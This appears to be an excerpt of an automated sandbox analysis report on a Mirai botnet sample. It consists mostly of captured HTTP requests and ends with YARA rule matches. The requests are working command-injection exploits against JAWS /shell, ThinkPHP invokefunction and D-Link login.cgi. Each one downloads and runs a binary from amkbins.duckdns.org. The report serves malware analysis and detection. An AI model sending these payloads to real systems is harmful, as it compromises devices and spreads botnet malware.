Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0

System Summary

Malicious sample detected (through community Yara rule)

Source: fMB6uAXjd0.elf, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: fMB6uAXjd0.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown

